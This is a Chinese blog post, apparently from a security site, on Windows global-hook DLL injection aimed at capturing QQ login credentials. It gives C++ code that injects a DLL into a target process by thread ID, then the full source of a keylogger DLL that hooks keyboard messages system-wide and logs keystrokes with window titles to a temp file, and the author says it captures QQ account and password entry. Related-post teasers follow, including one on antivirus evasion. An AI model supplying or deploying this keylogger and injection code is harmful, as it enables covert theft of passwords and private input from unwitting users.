全局钩子注入-注入QQ获取账号密码实现

VSole2022-04-24 06:09:26

全局钩子注入-获取QQ密码实现

全局钩子注入-获取QQ密码实现 水一篇✨✨✨✨✨

SetWindowsHookExA

将应用程序定义的挂钩过程安装到挂钩链中。您将安装一个挂钩程序来监视系统中某些类型的事件。这些事件与特定线程或与调用线程相同的桌面中的所有线程相关联。

HHOOK SetWindowsHookExA(
[in] int   idHook,
[in] HOOKPROC lpfn,
[in] HINSTANCE hmod,
[in] DWORD  dwThreadId
);

官网文档 :https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa

第一个参数表示钩子的类型,WH_GETMESSAGE表示安装消息队列的消息钩子(类型比较多 详情可以看文档),它可以监控发送到消息队列的消息。第二个参数表示钩子回调函数。第三个参数表示包含钩子回调函数的dll句柄,如果要设置全局钩子,则该参数必须指定dll模块句柄。第四个参数表示域钩子关联的线程id,0表示全局钩子。

UnhookWindowsHookEx

删除通过SetWindowsHookEx函数安装的钩子。

BOOL UnhookWindowsHookEx(
[in] HHOOK hhk
);


简单代码实现dll注入

#include 
#include 
#include 


HHOOK g_hook;
FARPROC procaddr;
HMODULE Hdll;
LRESULT GetMessPro(int code, WPARAM wParam, LPARAM lparam);

//定义注入函数
BOOL SetGlobalHook()
{
//要注入的进程id
int dwPid = 776;
//使用进程快照 遍历进程 获取线程id
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, dwPid);
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
BOOL bRet = Thread32First(hSnap, &te32);
if (bRet)
{
do
{
if (te32.th32OwnerProcessID == dwPid)
{
//安装钩子实现dll注入 第一个参数安装消息钩子 第二个参数使用的dll中的函数 第三个参数是dll句柄 第4个参数线程id 如果是全局的用0
g_hook = SetWindowsHookExW(WH_GETMESSAGE, (HOOKPROC)procaddr, (HINSTANCE)Hdll, te32.th32ThreadID);

break;
}
} while (Thread32Next(hSnap, &te32));
}
if (g_hook == NULL)
{
printf("SetGlobalHook error");
}
return TRUE;
}


void main()
{
//加载dll 获取函数地址 执行注入函数
Hdll = LoadLibraryW(L"ConsoleApplication4.dll");
procaddr = GetProcAddress(Hdll, "mess");
SetGlobalHook();
system("pause");
}

通过setWindowsHookEx()实现键盘记录器

实现原理当按下键盘,产生一个消息,按键消息加入到系统消息队列 操作系统从消息队列中取出消息,添加到相应的程序的消息队列中 ;

应用程序使用消息Hook从自身的消息队列中取出消息WM_KEYDOWN,调用消息处理函数。我们可以在系统消息队列之间添加消息钩子,从而使得在系统消息队列消息发给应用程序之前捕获到消息。

可以多次添加钩子,从而形成一个钩子链,可以依次调用函数。

QQ最新版可以直接获取输入的账号密码

代码实现 下面的代码忘记从哪里保存的了 太久了 注释里有作者id PeterZheng

// ConsoleApplication1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include 
#include 
#include 
#include 
#include 

using namespace std;

typedef BOOL(*StartHook)();

int main()
{
HMODULE hModule = LoadLibraryW(L"Dll1.dll");
if (hModule == NULL)
{
std::cout << GetLastError();
return 0;
}
StartHook STHK = (StartHook)GetProcAddress(hModule, "StartHook");
if (STHK == NULL)
{
return 0;
}
BOOL bRet = STHK();
if (bRet)
{
MessageBoxW(NULL, L"Hook Success", L"SetHook", 0);
}
else
{
MessageBoxW(NULL, L"Hook Error", L"SetHook", 0);
return 0;
}
Sleep(100000);
return 0;
}

// 运行程序: Ctrl + F5 或调试 >“开始执行(不调试)”菜单
// 调试程序: F5 或调试 >“开始调试”菜单

// 入门使用技巧:
// 1. 使用解决方案资源管理器窗口添加/管理文件
// 2. 使用团队资源管理器窗口连接到源代码管理
// 3. 使用输出窗口查看生成输出和其他消息
// 4. 使用错误列表窗口查看错误
// 5. 转到“项目”>“添加新项”以创建新的代码文件,或转到“项目”>“添加现有项”以将现有代码文件添加到项目
// 6. 将来,若要再次打开此项目,请转到“文件”>“打开”>“项目”并选择 .sln 文件



//dll
//
//
// FileName : KbHook.cpp
// Creator : PeterZheng
// Date : 2019/2/12 09:32
// Comment : Keyboard Hook Demo
//
//

#include 
#include 
#include 
#include 
#include 

using namespace std;

//本文件模块句柄
HINSTANCE g_hInstance = NULL;

// HOOK钩子句柄
HHOOK g_hHook = NULL;

// 键盘记录日志路径
const CHAR KEYBOARD_LOG[30] = "c:\\windows\\temp\\data.txt";
// 字符串缓冲区默认长度
const SHORT BUFF_LENGTH = 100;

CONST DWORD KeyMask = 0x80000000;

// 创建共享内存段
// param szPreTitle 保存上一个文件标题
#pragma data_seg("sharedata")
CHAR szPreTitle[BUFF_LENGTH] = { 0 };
#pragma data_seg()
#pragma comment(linker, "/SECTION:sharedata,RWS")

CHAR szBuff[BUFF_LENGTH] = { 0 };

/*
使用“表驱动”的方式进行键位映射,可减少大多数键盘记录器中存在的大量if-else结构的情况,
大幅度缩小程序体积。
*/

// 键盘虚拟映射值表
CONST UCHAR SPECIAL_SIGN_MAPPING_TABLE[][20] = {
{192, 189, 187, 219, 221, 220, 186, 222, 188, 190, 191},
{VK_F1, VK_F2, VK_F3, VK_F4, VK_F5, VK_F6, VK_F7, VK_F8, VK_F9, VK_F10, VK_F11, VK_F12},
{VK_ESCAPE, VK_TAB, VK_CONTROL, VK_MENU, VK_LWIN, VK_RWIN, VK_INSERT, VK_DELETE, VK_HOME, VK_RETURN, VK_SPACE},
{VK_NUMLOCK, VK_BACK, VK_END, VK_PRIOR, VK_NEXT, VK_CANCEL, VK_CLEAR, VK_SELECT, VK_PRINT, VK_EXECUTE, VK_LEFT, VK_RIGHT, VK_UP, VK_DOWN},
{VK_ADD, VK_SUBTRACT, VK_MULTIPLY, VK_DIVIDE, 190, 110},
{VK_NUMPAD0, VK_NUMPAD1, VK_NUMPAD2, VK_NUMPAD3, VK_NUMPAD4, VK_NUMPAD5, VK_NUMPAD6, VK_NUMPAD7, VK_NUMPAD8, VK_NUMPAD9}
};

// 真实字符映射码表
CONST CHAR* CONST OBJECT_SIGN_MAPPING_TABLE[][20] = {
{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"},
{ "!", "@", "#", "$", "%", "^", "&", "*", "(", ")" },
{ "`", "-", "=", "[", "]", "\\", ";", "\'", ",", ".", "/" },
{ "~", "_", "+", "{", "}", "\\|", ":", "\"", "<", ">", "?" },
{ "[F1]", "[F2]", "[F3]", "[F4]", "[F5]", "[F6]", "[F7]", "[F8]", "[F9]", "[F10]", "[F11]", "[F12]" },
{"[ESCAPE]", "[TAB]", "[CTRL]", "[ALT]", "[LWIN]", "[RWIN]", "[INSERT]", "[DELETE]", "[HOME]", "[Enter]", "[SPACE]"},
{"[NUMLOCK]", "[BACKSPACE]", "[END]", "[PGUP]", "[PGDOWN]", "[CANCEL]", "[CLEAR]", "[SELECT]", "[PRINT]", "[EXCUTE]", "[←]", "[→]", "[↑]", "[↓]" },
{"+", "-", "*", "/", ".", "."},
{"0", "1", "2", "3", "4", "5", "6", "7", "8", "9"},
};

// Dll执行入口
BOOL APIENTRY DllMain(_In_ void* _DllHandle, _In_ unsigned long _Reason, _In_opt_ void* _Reserved)
{
g_hInstance = (HINSTANCE)_DllHandle;
switch (_Reason)
{
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_DETACH:
if (g_hHook != NULL)
{
UnhookWindowsHookEx(g_hHook);
}
break;
}
return TRUE;
}

// 获取当前本地时间
VOID GetFmLocalTime(CHAR* szFmTime)
{
ZeroMemory(szFmTime, BUFF_LENGTH);
SYSTEMTIME sys_t;
GetLocalTime(&sys_t);
sprintf_s(szFmTime, BUFF_LENGTH, "%4d/%02d/%02d %02d:%02d:%02d ", sys_t.wYear, sys_t.wMonth, sys_t.wDay, sys_t.wHour, sys_t.wMinute, sys_t.wSecond);
return;
}

// 把字符保存到文件
VOID SetDataToFile(CHAR *buff)
{
HANDLE hFile = CreateFile((LPCWSTR)KEYBOARD_LOG, GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hFile == INVALID_HANDLE_VALUE)
{
MessageBox(NULL, L"CreateFile Error", L"Tips", MB_OK);
return;
}
if (SetFilePointer(hFile, 0, NULL, FILE_END) == -1)
{
MessageBox(NULL, L"SetFilePointer Error", L"Tips", MB_OK);
return;
}
DWORD dwWrite = 0;
if (!WriteFile(hFile, buff, strlen(buff), &dwWrite, NULL))
{
MessageBox(NULL, L"WriteFile Error", L"Tips", MB_OK);
return;
}
CloseHandle(hFile);
return;
}

// 键盘钩子回调函数
LRESULT CALLBACK KeyHookProc(
_In_ int nCode,
_In_ WPARAM wParam,
_In_ LPARAM lParam
)
{
if (nCode < 0)
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
if (nCode == HC_ACTION)
{
MSG *p = (MSG*)lParam;
//判断是否由击键消息
if (p->message == WM_KEYDOWN)
{
UCHAR vKey = (UCHAR)p->wParam;
ZeroMemory(szBuff, BUFF_LENGTH);
// 时间和标题信息字符串
CHAR szInsert[BUFF_LENGTH] = "\0";
// 当前窗口名
CHAR szNowTitle[BUFF_LENGTH] = "\0";
HWND hForegroundWnd = GetForegroundWindow();
GetWindowText(hForegroundWnd, (LPWSTR)szNowTitle, BUFF_LENGTH);
if (strcmp(szNowTitle, szPreTitle) != 0)
{
// 格式化时间字符串
CHAR szFmLocalTime[BUFF_LENGTH] = "\0";
GetFmLocalTime(szFmLocalTime);
strcat_s(szInsert, BUFF_LENGTH, "\r\r< ");
strcat_s(szInsert, BUFF_LENGTH, szFmLocalTime);
strcat_s(szInsert, BUFF_LENGTH, szNowTitle);
strcat_s(szInsert, BUFF_LENGTH, " >\r\r");
strcpy_s(szPreTitle, BUFF_LENGTH, szNowTitle);
SetDataToFile(szInsert);
}
DWORD iShift = GetKeyState(VK_SHIFT);
DWORD iCapital = GetKeyState(VK_CAPITAL);
DWORD iNumLock = GetKeyState(VK_NUMLOCK);
BOOL bShift = (iShift & KeyMask) == KeyMask;
BOOL bCapital = (iCapital & 1) == 1;
BOOL bNumLock = (iNumLock & 1) == 1;
// 顶部数字键
if (vKey >= '0' && vKey <= '9')
{
if (!bShift)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][vKey - '0']);
}
else
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[1][vKey - '0']);
}
goto END;
}
// 标点符号键
for (int i = 0; i < 11; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[0][i])
{
if (!bShift)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[2][i]);
}
else
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[3][i]);
}
goto END;
}
}
// 字母键
if (vKey >= 'A' && vKey <= 'Z')
{
if (bShift || bCapital)
{
szBuff[0] = vKey;
}
else
{
szBuff[0] = vKey + 32;
}
goto END;
}
// F1 - F12 键
for (int i = 0; i < 12; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[1][i])
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[4][i]);
goto END;
}
}
// 特殊功能键
for (int i = 0; i < 11; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[2][i])
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[5][i]);
goto END;
}
}
for (int i = 0; i < 14; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[3][i])
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[6][i]);
goto END;
}
}
// 小键盘
for (int i = 0; i < 6; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[4][i] && bNumLock)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[7][i]);
goto END;
}
}
for (int i = 0; i < 10; i++)
{
if (vKey == SPECIAL_SIGN_MAPPING_TABLE[5][i] && bNumLock)
{
strcat_s(szBuff, BUFF_LENGTH, OBJECT_SIGN_MAPPING_TABLE[0][i]);
goto END;
}
}
END:
SetDataToFile(szBuff);
}
}
return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

// 部署全局钩子
extern"C" __declspec(dllexport) BOOL StartHook()
{
if (g_hHook != NULL)
return FALSE;
//安装钩子
g_hHook = SetWindowsHookEx(WH_GETMESSAGE, (HOOKPROC)KeyHookProc, g_hInstance, NULL);
return TRUE;
}

// 卸载钩子
BOOL StopHook()
{
if (g_hHook != NULL)
{
if (!UnhookWindowsHookEx(g_hHook))
return FALSE;
g_hHook = NULL;
}
return TRUE;
}
钩子函数strcat
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简介这次实验是在WIN7 X86系统上进程,使用的编译器是VS2017。所谓的DLL注入,其实就是在其他的进程中把我们编写的DLL加载进去。所以DLL注入的核心就是把要注入的DLL的路径写到目标进程中,然后在目标进程中调用LoadLibrary函数,并且指定参数为保存了DLL路径的地址。要实现DLL注入,首先就要创建一个用来注入的DLL。
全局钩子注入-获取QQ密码实现 全局钩子注入-获取QQ密码实现 水一篇✨✨✨✨✨ SetWindowsHookExA 将应用程序定义的挂钩过程安装到挂钩链中。您将安装一个挂钩程序来监视系统中某些类型的事件。这些事件与特定线程或与调用线程相同的桌面中的所有线程相关联。
免杀知识汇总
2021-08-25 23:11:00
免杀知识汇总
在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数
全局钩子注入在Windows大部分应用都是基于消息机制,他们都拥有一个消息过程函数,根据不同消息完成不同功能,windows通过钩子机制来截获和监视系统中的这些消息。一般钩子分局部钩子与全局钩子,局部钩子一般用于某个线程,而全局钩子一般通过dll文件实现相应的钩子函数
HOOK技术实战
2021-10-19 05:55:56
对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。hook(钩子)是一种特殊的消息处理机制,它可以监视系统或者进程中的各种事件消息,截获发往目标窗口的消息并进行处理。所以说,我们可以在系统中自定义钩子,用来监视系统中特定事件的发生,完成特定功能,如屏幕取词,监视日志,截获键盘、鼠标输入等等。
干货 | HOOK技术实战
2021-10-16 10:09:27
基础知识对于Windows系统,它是建立在事件驱动机制上的,说白了就是整个系统都是通过消息传递实现的。钩子可以分为线程钩子和系统钩子,线程钩子可以监视指定线程的事件消息,系统钩子监视系统中的所有线程的事件消息。当前钩子处理结束后应把钩子信息传递给下一个钩子函数。PE头是固定不变的,位于DOS头部中e_ifanew字段指出位置。
Windows注入的一些方式
VSole
网络安全专家